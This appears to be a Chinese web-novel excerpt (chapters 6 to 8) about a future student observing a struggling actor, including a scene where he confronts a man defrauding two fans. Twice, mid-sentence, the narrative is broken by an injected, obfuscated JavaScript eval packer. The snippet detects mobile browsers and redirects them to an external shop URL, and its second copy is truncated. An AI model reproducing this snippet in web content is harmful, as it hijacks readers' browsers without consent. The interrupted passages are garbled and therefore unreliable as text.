两人沉默了一会儿。 天穹投影慢慢变暗,环形行星的光环只剩一圈淡淡的亮边。 林序最终把终端推回她面前。 “那你就写好这份报告吧。”她说,“至少你不是因为情绪才想进去。” 陈绍宁点了点头。 水面映出她的影子很清晰,陈绍宁知道这是必要的等待时间。 等这轮资料通过,她就会站在另一个时间的街道上。 希望那时候,可以看到更多可以看到的信息。 6. 第六章 公共记忆花园到了傍晚的时候,周围的光线会自动慢慢转暗,水面投影切换成夜间模式,星点一颗颗亮起。 这边林序还在继续看陈绍宁的资料,忽然笑了一下。 “我真的想了想,实际上其实我们选题还挺像的。”她说。 “哪里像?”陈绍宁抬头。 “你研究的是被时代慢慢耗掉的人,我研究的是被时代慢慢吃掉的动物。”林序说完抬手调出自己的资料界面,悬浮在两人之间。 观察主题:21世纪濒危物种保护政策的实际执行偏差 重点样本:中华穿山甲消亡轨迹 陈绍宁愣了一下:“你真的选了研究穿山甲?” “嗯。”林序点头,“教材上写很长一段时间人类环保意识觉醒,但是在那些关键阶段,……嗯…… 其实我回去看了一下,觉醒归觉醒,走私和食用需求一直没真正停过。” 她把一段影像调出来。 夜色里的山林,红外镜头拍到一个卷成球的影子,被人从树根下掏出来,塞进袋子里。 “他们鳞片被说成药材,肉被当成野味。”林序语气很平,“所有人都知道它们要灭绝,但总有人觉得再吃最后一次也没关系。” 陈绍宁看着那段影像,忽然有点说不出话。 “你看,”林序轻声说,“你那个演员是被系统挤压,我这个物种,是被欲望一点点啃光。形式不一样,本质差不多。” “都是知道会消失,但没人停手。”陈绍宁低声说,“都存着侥幸的心理,觉得作恶也没事,反正是最后一次,但不耽误还有下一次。” 两人对视了一下,又同时无奈的叹气。 “走吧,”林序把终端收回,“去吃饭,我饿了。” 从记忆花园到生活区,要穿过一段半开放的交通廊桥。廊桥外侧是透明材质,能看到城市下层缓缓流动的灯带。那不是车流,而是自动物流轨道在运转,物资在城市各节点之间低噪声传输。 桥内地面是一条细长的银色线带,随着行人步速自动匹配移动。 “站上去就行。”林序说。 陈绍宁踩上那条线带,脚下几乎感觉不到加速,只是周围景物开始缓慢后退。桥顶的引导光点一颗颗亮起,提示即将接入公共交通主环。 不远处,一列低空城市环线车从外侧滑过,没有车轮,也没有明显的引擎声,只在空气里留下一点细微的震动。 “你还没怎么坐过都市公共环线吧?”林序问。 “还好,都是在校园里活动。”陈绍宁点头。 “星际城市的地面交通很少了,”林序说,“主要是空中环线和地下磁轨,时间差基本控制在两分钟以内。” 她们走到换乘平台时,一辆银灰色的环线车刚好停靠。 车门无声滑开,里面空间很宽,没有座位的等级区分,只有靠窗的观景带和中部的交流区。有人在看资料,有人轻声聊天,还有人靠着透明壁看外面的城市灯光。 陈绍宁和林序站在一侧,车体平稳起飞。 城市在脚下慢慢展开,周围都是错落分布的功能区块,中间留着大片生态绿地和水体。能源塔分布在远处,光线柔和。 “我们这代人,”林序说,“其实很难想象通勤两个小时是什么感觉。” 陈绍宁想起自己在历史影像里看到的地铁人群,轻轻点头。 “那时候时间是被卖掉的。”她说。 “现在是被分配的。”林序接话,“至少基础部分是。” 车厢内广播响起温和的提示音:“下一站,生活区中环。”两人下车后,步行进入生活区广场。 这里比校园热闹一点,但依旧没有拥挤。 街道两侧是轮值餐厅和共享厨房窗口,空气里混着不同星域料理的香味。 “今天想吃什么?”林序问。 “你选吧。”陈绍宁说,她的终端已经悄悄亮起,她忍不住又点开了审查界面。 —— 观察型历史课程 第一轮资料审核进度条 73%。 “还没出审核结果吗?”林序瞥了一眼。 “嗯。” “急什么,”林序笑,“系统审查要看逻辑链完整度,又不是只看情绪浓度。” 她们走进一家主打谷物料理的餐厅。取餐区是开放式的,今天的主食是三种不同星域培育的复合谷物饭,配蔬菜炖汤和植物蛋白。陈绍宁端着餐盘坐下,却忍不住又点开同批次审查列表。 列表是匿名的,只显示主题方向,陈绍宁查看了排在自己后面的同批次观察选题示例,陈绍宁的手在终端上面来回划动起来来回看着。 “你看什么呢?”林序问。 “别人选题。”陈绍宁把界面转给她。 林序扫了一眼,笑了:“挺正常的,大家都在找自己能承受的入口。” “我会不会选择的太偏了?”陈绍宁忽然说。 “你只是选了一个人去观察。”林序低头喝了口汤,“对于系统而言只要你逻辑自洽就会支持的你的。” 陈绍宁点点头,却还是忍不住刷新了一下进度条,已经到了78%。 “你紧张得像等考试成绩。”林序笑。 “这跟考试一样了。”陈绍宁说,“过不了,我就进不了第二轮。” 林序想了想,忽然认真地说:“但不管过不过,你已经看见了。” 陈绍宁抬头。 “很多人回到过去,只是为了满足好奇。”林序继续说,“你是带着问题回来的,这就够了。” 陈绍宁觉得林序说的很对,放下终端之后,她眼神落在餐厅外,眼看灯光慢慢亮起,夜色降下来,街道上多了些散步的人影。 终端的结果如何?陈绍宁想着又刷新了一次。 这次进度条已经跳到 100%。 界面停顿了一秒,然后一行淡蓝色的提示浮现出来。 您的观察型历史课程第一轮资料已通过审核。 陈绍宁盯着那行淡蓝色提示,手指在半空悬着,迟迟没有落下去确认。林序先反应过来,伸手在她面前晃了晃。 “喂,回神了。” “通过了。”陈绍宁轻声说。 “我看见了。”林序笑,“你现在这个表情,跟刚被录取的新生一模一样。” 陈绍宁这才轻轻吐出一口气,她没想到这么快就处了结果。 “下一步就能申请第二轮观察了?”林序问。 “是的,基本上要完成六次以上的观察型历史课程才能有机会申请深度课程。”她低头看着界面,“但要再提交一份方向说明书。” “当然。”林序点头,“深度课程要屏蔽你的记忆完全成为那个时代的人,要是出现什么危险,你就只能自己接受了。” 林序说的话里都是担心,但是其实也不用担心的这么早,反正也不一定能按照自己想法一样,像申请就能申请到深度课程。 她们一边吃饭,一边看着界面上跳出的新选项。 餐厅里光线柔和,桌面嵌着低功耗光带,足够照亮食物的纹理,周围人声不高。 陈绍宁却还停在刚才那一页,她点开同批次通过名单,匿名编号一个个亮起,后面跟着选题关键词。 武侠叙事中的民间正义模型 沿海小镇腌制食品的家庭结构记忆 诗人顾某某的流放时期创作分析 独立动画工作室早期协作模式 流浪猫救助网络的社会自组织能力 “你看,”林序说,“每个人都在为现在的我们找来路。” 陈绍宁轻轻点头。 “只是我找的是一个人。” “人最难。”林序说,“制度能拆解,产业能分析,但是人的思维会让你犹豫。” 陈绍宁想起那天夜里,孟余站在客厅里念台词的样子。那种认真,并没有观众,也没有镜头。 她低声说:“他甚至不觉得自己在承受什么。” 林序没有马上回答。 餐厅的公共信息墙上,正滚动播放一条城市更新纪录片,讲的是一处旧矿区改造为湿地保护区的过程。画面里有志愿者,有工程师,也有孩子在新修的木栈道上跑。 “你有没有发现,”林序忽然说,“我们这个时代,很少有人需要证明我值得活着。” 陈绍宁抬头看她。 “我们需要证明的,是我想做什么。”林序继续说,“但旧时代的人,要先证明我值得活着。” 这句话落下,两人之间安静了一会儿,陈绍宁低头把终端调到城市交通实时图。 “吃完陪我走一段吗?”她说。 “去哪?” “想看看夜间主环线。” 林序笑了:“行,反正明天没早课。” 夜间的公共交通比白天更安静。 她们走出生活区广场时,一辆低空环线刚好掠过头顶,车体下方的引导光像一条柔软的丝带。远处的高层绿化带亮着微光,那是自动调节的植物生长灯。 主环线换乘平台几乎没有人。 夜班服务并不是因为有人必须工作,而是因为城市本身需要持续运转。维护人员轮值,研究站轮值,生态区巡查轮值,这些岗位都由自愿申请和周期轮换构成。 “以前的人夜里出门,是为了加班或者通宵。”林序说。 “现在夜里出门,多半是看星星。”陈绍宁笑了一下。 她们站在观景区,看城市慢慢从脚下滑过。 下层是大片暗绿色的生态带,中间偶尔闪过水面反光。再远一点,是分布式能源塔的光点,像固定在地平线上的星。 陈绍宁忽然觉得一种奇怪的对比,这个时代的夜晚是温和的,是为休息准备的。而她要去的那个时代,夜晚是另一种白天,是延长的劳作,是被灯光强行撑开的时间。 她低头又看了一眼审核通过的提示,想了想还是问了问林序,“林序,”她说,“你研究穿山甲,是想做什么?” “想知道,为什么人类明明知道它们要灭绝,还是停不下来。”林序回答得很快,“如果我能把那个机制讲清楚,也许我们以后在别的物种身上不会重蹈覆辙。” 陈绍宁轻声说:“我想知道的也差不多。” “什么?” “为什么大家明明看见有人在被耗光,却还是觉得那是他自己的问题。” 环线车到站,门轻轻打开,两人没有上车,只是站在原地,看它又无声离开。 终端在陈绍宁手里再次亮起。 系统推送了一条新通知: 观察型历史课程申请入口已开放,请在 48 小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149306|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内提交方向说明书。 陈绍宁没有立刻点开,夜风从高处吹下来,带着一点凉意。林序拍了拍她的肩:“走吧,回去休息了。” 陈绍宁点头,把终端收起,想那么多也没什么特别的帮助,陈绍宁把自己的思绪都压下去。 两人往学校的方向走去,很快到了星际联合大学的公共宿舍。 陈绍宁还记得自己看到的旧时代影视作品里描绘的未来城市,很多建筑都悬浮在半空,还设计成通体金属光泽。 但实际上星际联合大学的公共宿舍也没有夸张的造型。 整片宿舍区更像一座安静的,被植物包围的社区。建筑高度被控制在不会遮挡天穹投影的范围内,每栋楼之间都留着足够的绿地和步行廊道,风能从任何方向穿过去,不会被堵住。 陈绍宁住在B区三层的一间标准单人舱。舱门识别到她的生物信号后轻轻滑开,屋内的光线自动调成她习惯的暖色。 空间不算大,却被设计得非常合理,靠墙是一体式收纳与学习台,另一侧是可折叠休息区,窗面不是传统玻璃,而是一整块环境幕墙,可以在真实景观与模拟景观之间切换。 今晚的窗景是低重力海岸。 远处的海面缓慢起伏,星光倒映在水里。 陈绍宁知道那是模拟,却仍然能感到一种安静的包围感。 休息应该被当成一项需要被认真保障的权利,而不是效率低下的象征。 宿舍走廊永远是安静的。 隔音材料和空间规划让每个人都能拥有足够的私人声场。 陈绍宁经常在房间里听音乐跟着大唱,练习演讲,甚至情绪崩溃地哭一场,都不必担心影响他人,也不必害怕被打扰。 公共区域在每层中段。 那里有开放式阅读角,共享厨房台,以及一面缓慢变化的植物墙。 植物墙并不是装饰,它连着整栋楼的微气候调节系统,白天吸收多余热量,夜晚释放湿度,让空气始终处在舒适区间。 有学生在厨房台煮夜宵,有人在长桌上讨论选题,还有人只是坐在地上,靠着墙看终端投影。 陈绍宁最明显感受到的幸福,是一种不用解释的安全感。 她不需要计算这个月的住宿费用,不需要担心电费水费,也不需要为了节省开支而牺牲饮食或医疗。 基础资源被纳入公共保障体系,学生的注意力被最大限度地从活下去的成本中解放出来。 这并不意味着没有压力,课题会难研究会卡住,人与人之间也会有误解和孤独。但这些压力,至少不是来自明天还能不能住在这里。 夜里十点,走廊的顶灯自动调暗,只保留引导光带。 有人轻声经过,脚步几乎听不见。远处公共区传来低低的笑声,很快又被吸音材料吞没。 陈绍宁躺在床上,看着天花板上柔和的星图投影。 一个社会在无数次反思和修正之后,才能逐渐建立起来让所有人舒适的结构,这些都不是理所当然的自然状态,而是人类自己争取来的。 此刻宿舍的空气恒温恒湿,窗外的海面安静起伏。 幸福并没有被高声宣告,它只是安静地存在着,像呼吸一样自然。 陈绍宁感受着床铺的舒适,耳边全是海浪声的白噪音,这种舒适的感觉让她的呼吸也跟着缓慢起来,不知道是不是因为最近在观察孟余带来的日有所思夜有所梦,反正陈绍宁做了一个极其清晰的梦。 她站在一片看不见尽头的光屏前,四周没有人,却满是声音。 新闻弹窗一层叠一层地向她扑来,像失控的雪崩。标题简短、整齐—— 【某演员突发意外去世,年仅三十七岁】 【生前长期无戏可拍,最后公开露面画面曝光】 画面切换得太快,她甚至看不清细节,只能看到那个熟悉的名字反复出现,被无数平台转载,被不同语气重复描述。 有人惋惜,有人分析,有人冷静讨论行业现状,也有人说人生无常。 可梦里的她却一句都听不进去。 她只是站在那片刺目的白光里,耳边嗡嗡作响,像是整个世界在远处塌陷,而她被固定在原地,动不了,也喊不出声。 她拼命想找到一条不是他的信息,想翻到澄清辟谣,或者说明是误传的小字。 可每一条推送都在重复同一个事实。 他不在了。 陈绍宁不知道自己为什么会那么难过。明明只是观察过的人,明明只是资料里的名字,可梦里的悲伤却像从骨头里渗出来,闷得发疼。 最后一条画面停住。 是一段模糊的视频截图,他低着头,像是在人群中说着什么,光线晃动,看不清表情。 眼前忽然一黑,陈绍宁猛地醒过来。 宿舍天花板的星图投影静静亮着,夜色温和,空气安稳。 可她的脸颊却一片冰凉,枕边湿了一小块。 她愣了好一会儿,才意识到自己在流泪,胸口那股说不出的酸胀还没散去,像梦里的悲伤没来得及跟着醒过来。 她抬手擦了擦脸,却发现眼泪止不住地往下掉。 窗外的模拟海面轻轻起伏,整个星际城市安静得仿佛从未有过噩梦。 只有她自己在黑暗里坐着,心口空了一块。 7. 第七章 利川市的夏天有点热,陈绍宁看着一群人都在叨念这个词就知道气温应该不低。 剧组的人都穿着长袖的衣服,又是郊外拍戏,根本没有空调,陈绍宁就看着很多人都是满脑门的汗,手里拿着叫藿香正气水的东西一直喝。 陈绍宁还在看的时候,就听到身后听到一群人的欢呼。 “哇! 谢谢孟余老师请全剧组喝奶茶。”陈绍宁听到声,就跟着转身回去看着,远远就看到有人推着车回来,陆续从推车里拿出来奶茶。 听到有人在说,周围的人也跟着凑上来,每一个领了奶茶的人都喊着:“谢谢孟余老师请全剧组喝奶茶。” 同一句话从周围接踵而至。 这句话陈绍宁不知道,早在她来前几日就每天再重复,只是要等着各路重要人士都请完奶茶之后,才有孟余请喝奶茶的机会。 谁知道呢,花钱还要排顺序。 陈绍宁的第二次观察型历史课程选择的就是孟余拍摄新电视剧的时间线,这一次的时间比较久,陈绍宁连带着这个新的电视剧在讲什么故事都能看的完全。 孟余的新助理是一个在利川市读书的学生,大家叫他小张。 放假的时候在帮孟余打理一些很细琐的事情,他也是一个新接触助理行业的人,基本上看到别人做什么就跟着做,但是看到女助理要蹲下来给女主演穿鞋却得不到一句谢谢的时候,他忍不住皱眉头。 等他还在犹豫要不要帮孟余换鞋的时候,孟余已经自己坐椅子上自己换好了鞋子,他把鞋子紧紧包起来放在很大的袋子里,只等着小张帮他拿着的时候也更方便。 小张有些诧异孟余的动作,他这样看起来就是不找助理也能自己打理好很多事情。然而等拍摄的时候,小张还是感受到了自己的重要性,眼前的东西还只能他拿。 不然他这个短暂进入这个行业的人都能感受到周围人莫名变化的态度。 真是名利场,小张有点不理解,拍的都是讲天地良心,江湖大义的事情,但周围的人似乎又差了点意思。 陈绍宁在周围到处转,直到今日的拍摄结束,她看着周围的人稀稀落落的各自离开,明天没有通告的孟余也跟着周围的人走了,小张跟在他的身后,两人一起上了辆出租车。 她坐在副驾驶,视野上行,眼看着夜灯也随着行走的路而逐渐亮了起来。 天空上没有星星,模拟的星星没有,实际的星星也被盖住了。 车里很安静,没有人说话,孟余拿着手机确认了一下明天有没有通告,只是太困了眼睛很快跟着就闭上了,四周恍惚朦胧起来,他感觉副驾驶那好像坐着谁,等睁开之后才发现是自己的错觉。 怎么总有这样的错觉? 孟余忍不住心里在数落自己,但很快也意识到,或许就是因为太疲惫了才会这样。 他本来就是一个性格很平稳的人,不怎么会生气。 只是不生气紧紧指他不怎么会暴脾气的处理事情,不代表他真的完全不生气。 让陈绍宁对他性格定义变化的事情也很快发生。 事情并不是在片场正拍摄发生的。 它发生在一个所有人都觉得无关紧要的角落里,某条通往临时休息区的侧路,一家被外墙遮住一半的小咖啡店门口。 孟余那天的戏已经拍完了。 收工比前一天稍早一些,却并没有让人轻松下来。 片场的紧张只是换了一种形态,从必须完成变成了随时可能被叫回。 他去咖啡店买东西的时候,陈绍宁注意到不远处站着两个女孩。 年纪都不大,看起来像是刚毕业不久。她们穿得并不张扬,却明显是精心搭配过的。手里拎着印有角色名字的应援袋,袋口露出半截横幅。 她们站得很拘谨。 一种刻意收敛的紧张,像是随时准备道歉的拘谨。 其中一个女孩不停地低头看手机。 另一个则反复确认四周,像是在等人。 很快,一个中年男人出现了。 他穿着普通的夹克,身形微胖,表情松弛,和片场里那些紧绷的人完全不同。 他一边走,一边接电话,语气轻松。 “嗯,到了,人我看着呢。” 电话挂断,他看向两个女孩。 “你们就是吧?”语气熟稔,像是已经见过很多次。 女孩们立刻点头。 “是、是的。”声音压得很低。 男人扫了一眼她们手里的袋子,笑了一下。 “钱带了吗?” 陈绍宁站在不远处。 她一开始并没有意识到这是事件,在这个时代里人与人之间的交易太常见了,很容易被当成日常的一部分。 女孩们对视了一眼,其中一个把包打开,取出一个信封。 男人接过来,没有当场数。 “行。”他说,“跟我来吧。” 他们往更偏僻的方向走。 陈绍宁下意识跟了过去。 小咖啡店后面是一条几乎没人经过的小巷,地上堆着杂物,灯光昏暗。男人在巷口停下,左右看了看。 “今天不太方便进组。”他说得很自然,“临时有检查。” 女孩们愣了一下。 “那……不是说可以看拍摄吗?”其中一个忍不住问。 男人叹了口气,语气像是替她们惋惜。 “我也没办法,你们也知道,现在查得严。” 另一个女孩明显有些慌。 “那钱……”她迟疑地开口。 男人的表情终于变了一点。 倒不是愤怒,就是明显的耐烦之外,还有一种带着审视的冷淡。 “钱已经走流程了。”他说,“退不了。” 空气安静了一瞬。 女孩的脸色白了。 “可是你之前说——”她的话没说完,就被男人打断。 “我说的是尽量。”男人纠正她,“你们自己也同意的。” 他顿了顿,又补了一句:“你们应该庆幸我比较有底线,而且我也没骗你们别的。” 女孩们显然没听懂。 “什么意思?”有人问。 男人笑了,那笑容很短,却让人不适。 “我只骗钱,不骗人。”他说,“你们应该感谢我。” 这句话落下的时候,陈绍宁感到一种极其清晰的寒意。 女孩们怔在原地。 她们显然没有理解这句话真正的含义。 “可是我们的钱是——”有人想反驳。 男人抬手,做了一个制止的动作。 “你们自己想想。”他的语气突然变得像是在好心提醒,“要是真有人答应带你们进组,事情可就没这么简单了。” 他压低声音。 “你们是来追星的,对吧?不是来惹麻烦的。” 那一刻,陈绍宁明白了。 那句我只骗钱不骗人,意思就是在这个灰色地带里,有比骗钱更可怕的事。 而他,选择了看起来没那么坏的那一边。 女孩们终于意识到了什么。 她们的脸色变得极其难看,却没有人再说话。 男人看了看时间,转身准备离开。 “以后长点心吧。”他说,“这行水深。” 其中一个女孩突然开口,“那我们……要报警吗?”声音很小,却带着明显的颤抖。 男人停下脚步,回头看了她一眼,那一眼没有威胁,却足够冷静。 “你觉得有用吗?”他反问。 “你们有证据吗?合同呢?聊天记录呢?” 他耸了耸肩。 “而且你们自己也知道。这种事,说出去,好听吗?你怎么就觉得一定会帮你?还是年轻。” 空气彻底安静了。 女孩低下头,手指紧紧攥着包带。 “算了。”她轻声说。 两个女孩站在原地很久没有动,其中一个突然蹲下来捂住脸。另一个还是站着像是不知道该做什么。 陈绍宁站在旁边,第一次产生了强烈的愤怒。不是针对某一个人,而是针对整个默认这一切会发生的结构。 她忽然明白为什么受害者往往是第一个选择放弃追责的人。 不是因为她们不知道这是错的。而是因为她们比任何人都清楚,追责的成本,远高于失去的钱。 名誉,时间,情绪,安全感,以及被反复审视的可能性。 而在这个行业的边缘地带,还有更肮脏的传闻。 陈绍宁知道这些,不是此刻发生,而是来自她未来的知识储备。 她知道,有些中介并不满足于骗钱。 她知道,有人会借着资源,机会的名义,诱导女孩用身体交换所谓的靠近。 她也知道,审美在这里是一种隐形的筛选器。 有的被定义为私生,剩下的被默许越界。 甚至有的,会被主动私联,最后被包装成自愿恋爱。 在这样的叙事里,没有人是被强迫的。 一切都被处理得体面,模糊,无从追责。 陈绍宁站在那条昏暗的小巷里,终于彻底明白了一件事在这个时代,情感本身,也是一种可以被榨取的资源。 粉丝的爱,信任,渴望靠近的冲动,被系统性地利用,却从不被保护。 而当伤害真正发生的时候,受害者被期待做的第一件事,就是大家都算了吧。 陈绍宁抬头,看见远处片场的灯还亮着。 拍摄还在继续,时间表不会为任何人停下。 而那些被留在阴影里的情绪,只能被悄无声息地吞咽下去。 陈绍宁的情绪不怎么好,她看起来跟那俩个女生一样整个人低落的很,然而耳边却突然响起来孟余的声音。 —— 其实片场外围有几家店,孟余最喜欢去一家咖啡店。 说是咖啡店,其实只是用折叠玻璃围出的一小块空间,吧台后面放着一台老式半自动咖啡机,蒸汽声断断续续。 外面是忙乱的片场,灯架、轨道、道具车来回穿梭,这里却像被时间稍微放慢了一点。 孟余刚拍完一场戏,妆还没完全卸,只把外套披在戏服外面,进来点了杯最便宜的美式。 他坐在角落靠窗的位置,手机屏幕亮着,却没在刷什么,只是停在工作群的聊天界面上。今天又没有新的通告消息。 他抿了一口咖啡,苦味在舌根慢慢散开。 门口忽然传来急促的说话声。 “不是说可以带我们进去见演员的吗?”一个女生声音发颤。 “对啊,你刚刚不是收了钱吗?”另一个更着急。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149307|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟余下意识抬头。 门边站着两个二十岁出头的女生,背着双肩包,脸被太阳晒得有点红。对面是个穿着剧组工作证挂绳的男人,证件翻到背面,看不清名字。 “钱已经走流程了。”他说,“退不了,而且我说的是尽量。”男人纠正她,“你们自己也同意的。你们应该庆幸我比较有底线,而且我也没骗你们别的。” “你们自己想想。”他的语气突然变得像是在好心提醒,“要是真有人答应带你们进组,事情可就没这么简单了。你们是来追星的,对吧?不是来惹麻烦的。真的以后长点心吧。” “可是那是我们凑了很久的钱……”女生声音都哑了。 “我只收了跑关系的费用,又没说一定成功。”男人耸肩,“你们要怪就怪自己运气不好。” 这话说得理直气壮。 咖啡店里的人都听见了,却没人出声。 孟余把杯子放下,站了起来。 他没有马上过去,而是先走到吧台,把钱放下:“不好意思,打包一下。” 店员愣了一下,还是点头。 他转身走到门口,语气平和:“哥们,证件给我看一下?” 男人一愣,看见他脸上还带着戏妆,迟疑了一秒:“你谁啊?” “演员。”孟余说,“这个组的。” 男人眼神闪了一下。 “她们说你收了钱?”孟余继续问。 “那是我个人的事,跟你没关系。” “在剧组门口打着关系的旗号收钱,就有关系了。”孟余语气还是很轻,但没再退。 两个女生这才认出他,小声惊呼了一下却又不敢说话。 男人脸色有点难看:“你别多管闲事。” 孟余看着他,没提高声音:“你把钱退给她们,我们就当没发生。” “凭什么?” “凭你这证件是借来的。”孟余指了指他胸前的挂绳,“真的工作人员,不会在这儿拉粉丝收费。” 男人下意识低头。 僵持了几秒,他骂了句脏话,从口袋里掏出手机,转账退钱。 两个女生的手机同时震动。 她们低头确认到账,眼圈一下就红了。 男人转身要走,孟余只说了一句:“你别再来了。” 语气不凶却让人不太敢回嘴。 人走远了,咖啡店又安静下来。 两个女生还站在原地,手指攥着手机壳。 “谢谢你……”其中一个声音发抖,“我们以为真的能进去见演员……” 孟余摆摆手:“以后别信这种。” 他拉开椅子坐下,示意她们也坐。 “剧组不是景点。”他说,“演员也不是谁花钱就能见的。” “我们就是……很喜欢这个男主……”女生小声说。 “喜欢作品就好。”孟余笑了笑,“别为了见人去赌钱。” 他语气很温和,不像训人,更像在讲一件早就看过太多次的事。 “你们还在上学吧?” “嗯,大二。” “那钱留着吃饭、买书都比给这种人好。”他说,“娱乐圈没你们想的那么光鲜,很多时候连我们自己都不知道下一部戏在哪。” 两个女生愣住。 “可是你……”其中一个看着他脸上的妆,“你不是演员吗?” “是啊。”他笑,“所以我更知道。” 他没有多说苦,只是把话题轻轻放下。 “以后要来探班,先看官方通知。”他补了一句,“别找私人渠道。” 两人点头如捣蒜。 气氛慢慢缓下来,她们才后知后觉地意识到刚刚帮她们的人,也是演员。 “那个……”女生小心翼翼开口,“可以给我们签个名吗?” 孟余愣了一下,笑了:“你们不是喜欢男主吗?” “现在也喜欢你了。”另一个赶紧说。 他接过她们递来的本子,在扉页上写下名字,字迹有点慢却很认真。 “以后别花冤枉钱了。”他把本子还回去,“好好读书。” 两个女生抱着本子,一直道谢,走到门口还回头挥手。 咖啡店的门轻轻合上。 孟余重新坐回角落,咖啡已经凉了。 他低头看了眼手机,工作群还是没有新消息,今天看起来真的没有新的戏要去拍了。 窗外片场灯光亮起,新一场戏又要开始。 他把咖啡喝完站起身,像什么都没发生过一样,走回忙碌的人群里。 片场总是热火朝天的,离开了咖啡店的空调,孟余在室外待了没有多久就忍不住在自己的头上抹一把。 大灯照明,但是离得近也更热了,孟余觉得自己的人生看起来很亮,但是热度总会让人迷糊起来。 有的人能被某种呼唤清醒起来,而有的人就会被迷糊的直接掩盖下去。 但是就刚才救了两个女生,孟余觉得自己还是一个非常正直的青年,他感受到自己蒸菜成为从小很想成为的人,想到这他忍不住拿出手机,在联络软件里找到一个名为曲柠的账号,把今天的事情整理一番都告诉了她。 对方没有很快的回复消息,孟余握着手机, 手机震了一下。 曲柠发来消息:“你总是替别人出头,可是你自己呢?” 8. 第八章 “我就知道你会这样。下次也要记得保护自己,好吗?” 他看着那行字愣了一下,屏幕的光映在他脸上很亮。孟余低头笑了一下,却不知道为什么,眼睛有点发酸。 曲柠一直很懂他,知道他遇到这样的事情肯定会出言不讳。但是曲柠的担忧也很正常,这个行业里这样做未必最后能得到什么好结果。 但是孟余还是相信自己做一个诚实善良,正直的人没什么错,都说现在的世界不适合正直善良的人生存,但他不觉得自己也要变成那种人。 那不适合他。 “看起来是个很不错的人呢。” 陈绍宁靠着墙壁站着,眼看他跟曲柠聊天,陈绍宁的终端会收集到一些信息。 但并不会告诉陈绍宁所有的内容,只会简单粗暴的总结告诉她,这是一个很好的人。 “演技也很不错,但是为什么看起来像是没有什么机会的样子,总是比别人少了些可能性,这看起来很可惜啊。” 陈绍宁沉默了一下,像是在找合适的词。 “以前在历史课上看到情感也是资源这句话,总觉得是理论。”她慢慢说,“刚刚才突然明白,那是真的。” “你是说粉丝被利用?” 第二次观察型历史课陈绍宁申请了终端系统内远程和林序对话的权限,因此这会也有人跟她一起讨论这个事情。 “对。”陈绍宁点头,“我看着两个女生也不是贪心,走捷径这个也不至于,她们只是太想靠近喜欢的人了。结果这种喜欢,反而变成了别人可以下手的地方。”她顿了顿,又补了一句:“而且最奇怪的是,那个骗子说话的时候一点都不觉得自己在做坏事。” 林序叹了口气:“这种人很多吧。” “嗯。”陈绍宁低头看着手里的终端,“可我更在意的是孟余的选择。” “谁?” “我在想,除了孟余这要是换成其他人,会是这样结果吗?” 她抬头,语气变得很轻:“他明明可以当没看见的。” “可能就是顺手?” 终端的那边林序那边声音断断续续,好像在忙什么事情。 “不是。”陈绍宁摇头,“他不是那种出头之后还要让所有人知道的人。他只是觉得不对,就站出来了,然后事情结束,估计自己就当什么都没发生。” 她说到这里,喉咙有点发紧。 “这种人,在小说故事里是正直,在现实里却常常很辛苦。” 林序看不到陈绍宁的表情也知道她现在的心情:“所以你很难过,但是又具体在难过什么?” 陈绍宁想了想,才轻声说:“我在想,一个连见到陌生人都舍不得受骗的人,自己难受的时候会跟谁说呢?” 这个事情,林序自然无法替陈绍宁给出答案,甚至说,她自己是并不在意这些事情的。 连续很多天,陈绍宁都在这附近转悠,她跟着孟余看着他的一日又一日。 连续几日都是下雨,孟余身边的助理没有他高,孟余几次都是自己打伞,像正常人一样不会去因为这个事情为难人。 陈绍宁之所以这样评价,还是看到隔壁剧组也是个好几位个子高的男演员,有的也自己自然的打伞,但有的就会私下找理由指责助理的不是。 还真是奇也怪也,或许是奇怪的虚荣心作祟?怕别人看到自己没有助理打伞觉得被看低了。 但剧组确实是一半正常人一半神经病存在的地方。 最近持续性下雨,好在孟余剧集拍摄结束,杀青那天没有下雨。天气甚至算得上晴朗,阳光落在片场外的空地上,把地面的灰尘照得发亮。 工作人员比往常更早开始收拾设备,道具箱被一排排推走,线缆迅速盘好,像是迫不及待要从这里撤离。 “最后一条,收工。” 导演喊出这句话的时候,语气倒是平平,周围的人反而充当气氛组大喊着欢呼着,还有掌声,很快被收拾现场的声音盖过去。 孟余站在镜头外,接过工作人员递来的花束,说了声谢谢。花不算大,是那种标准的杀青配置,包装精致,却看得出来是临时订的。 他低头看了一眼花又很快抬起头,对周围的人点头示意。 “辛苦了。” 这句话,他说得一如既往地轻。 陈绍宁站在一旁看着这一幕,忽然觉得到杀青并不是一个结束,它更像是一个人物被强行画上的句号。 对剧组来说,项目内完成了一部分而已,对导演和主创来说,下一个项目已经在排期里。 只有演员被留在了句号后面,等着下一次的机会。 现场很快变得松散。 有人开始合影,有人交换联系方式,有人已经在讨论下一部戏的筹备。所有对话都指向未来,却又不包括所有人。 孟余没有主动加入任何一个小圈子。他抱着花站了一会儿,最终把花递给了一旁的助理。 “请帮我拿一下,我去收拾一下行李。”他说。助理愣了一下,没想到他这么快就要收拾东西离开,但还是接过来点了点头。 “行。” 回家的路上,孟余没有看手机。 这在杀青当天是少见的。大多数演员都会在这一天密集刷新信息,期待一些象征性的后续,哪怕只是客套的寒暄,也能暂时填补那种突如其来的空白。 可孟余没有。 他只是把包背好,按原路离开。 